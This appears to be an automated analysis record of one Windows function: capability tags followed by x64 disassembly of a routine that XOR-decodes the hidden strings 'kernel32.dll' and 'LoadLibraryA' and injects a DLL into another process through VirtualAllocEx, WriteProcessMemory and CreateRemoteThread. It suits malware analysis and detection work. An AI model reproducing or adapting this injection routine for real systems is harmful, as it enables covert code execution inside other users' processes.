Function at 0x140002630
Capabilities:
Create thread
Encode data using xor
Inject thread

Disassembly:
push rbp
push rbx
push rsi
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x140015040]
xor rax, rsp
mov qword [rbp - 0x20], rax
movzx r10d, r8b
mov byte [rbp - 0x34], 0
mov ebx, ecx
mov byte [rbp - 0x24], 0
movzx eax, r8b
movzx ecx, r8b
xor al, 0x6b
xor cl, 0x65
mov byte [rbp - 0x40], al
mov rsi, rdx
movzx eax, r8b
mov byte [rbp - 0x3f], cl
xor al, 0x6e
mov byte [rbp - 0x3c], cl
mov byte [rbp - 0x3d], al
movzx ecx, r8b
xor cl, 0x6c
movzx eax, r8b
xor al, 0x33
mov byte [rbp - 0x3b], cl
mov byte [rbp - 0x3a], al
movzx r9d, r8b
movzx eax, r8b
mov byte [rbp - 0x36], cl
xor al, 0x32
mov byte [rbp - 0x35], cl
mov byte [rbp - 0x39], al
xor r9b, 0x72
movzx eax, r8b
mov byte [rbp - 0x3e], r9b
xor al, 0x2e
mov byte [rbp - 0x29], r9b
mov byte [rbp - 0x38], al
xor r8b, 0x64
movzx eax, r10b
mov byte [rbp - 0x37], r8b
xor al, 0x6f
mov byte [rbp - 0x2d], r8b
mov byte [rbp - 0x2f], al
movzx ecx, r10b
xor cl, 0x4c
mov byte [rbp - 0x27], r9b
movzx eax, r10b
mov byte [rbp - 0x30], cl
xor al, 0x69
mov byte [rbp - 0x2c], cl
mov byte [rbp - 0x2b], al
movzx edx, r10b
xor dl, 0x61
movzx eax, r10b
xor al, 0x62
mov byte [rbp - 0x2e], dl
mov byte [rbp - 0x2a], al
movzx eax, r10b
xor al, 0x79
mov byte [rbp - 0x28], dl
mov byte [rbp - 0x26], al
movzx eax, r10b
xor al, 0x41
mov byte [rbp - 0x25], al
xor eax, eax
xor byte [rbp + rax - 0x40], r10b
xor byte [rbp + rax - 0x30], r10b
inc rax
cmp rax, 0xc
jb 0x140002710
mov qword [rsp + 0xb8], rdi
lea rcx, [rbp - 0x40]
mov qword [rsp + 0x70], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x1400028ac
lea rdx, [rbp - 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rax, rax
je 0x1400028ac
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x1400028ac
mov qword [rsp + 0x78], r14
call fcn.140002430
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rsi + r8], 0
jne 0x140002790
inc r8
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x14000289f
cmp byte [rsi + rbx + 1], 0
lea rbx, [rbx + 1]
jne 0x1400027c2
lea r9, [rbx + 1]
mov qword [rsp + 0x20], 0
mov r8, rsi
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000288a
call fcn.140002430
call fcn.140002590
mov qword [rsp + 0x30], 0
mov r9, r15
mov dword [rsp + 0x28], 0
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
je 0x14000288a
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov r14, qword [rsp + 0x78]
mov r15, qword [rsp + 0x70]
mov rdi, qword [rsp + 0xb8]
mov rcx, qword [rbp - 0x20]
xor rcx, rsp
call fcn.14000ce30
add rsp, 0x80
pop rsi
pop rbx
pop rbp
ret
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x140002861
xor al, al
jmp 0x140002866